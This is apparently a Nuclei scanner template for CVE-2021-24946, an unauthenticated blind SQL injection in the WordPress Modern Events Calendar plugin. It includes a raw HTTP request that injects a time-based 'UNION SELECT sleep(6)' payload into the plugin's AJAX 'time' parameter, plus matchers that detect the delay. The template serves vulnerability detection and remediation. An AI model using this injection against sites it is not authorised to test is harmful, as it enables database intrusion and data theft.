id: CVE-2021-24946

info:
  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
    - https://wordpress.org/plugins/modern-events-calendar-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
    - http://packetstormsecurity.com/files/165742/WordPress-Modern-Events-Calendar-6.1-SQL-Injection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24946
    cwe-id: CWE-89
    epss-score: 0.728
    epss-percentile: 0.99394
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,sqli,packetstorm,wp,wp-plugin,unauth,wpscan,modern-events-calendar-lite,wordpress,webnus,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
        condition: and
# digest: 490a0046304402207916f6bf2816e3f767647968489565aa9155e91293f57d1e57a59d879ad318a102203a42b6e993af83e17ca60e2919e046493cb223c5e99661046a7aacfdfcb5a941:922c64590222798bb761d5b6d8e72950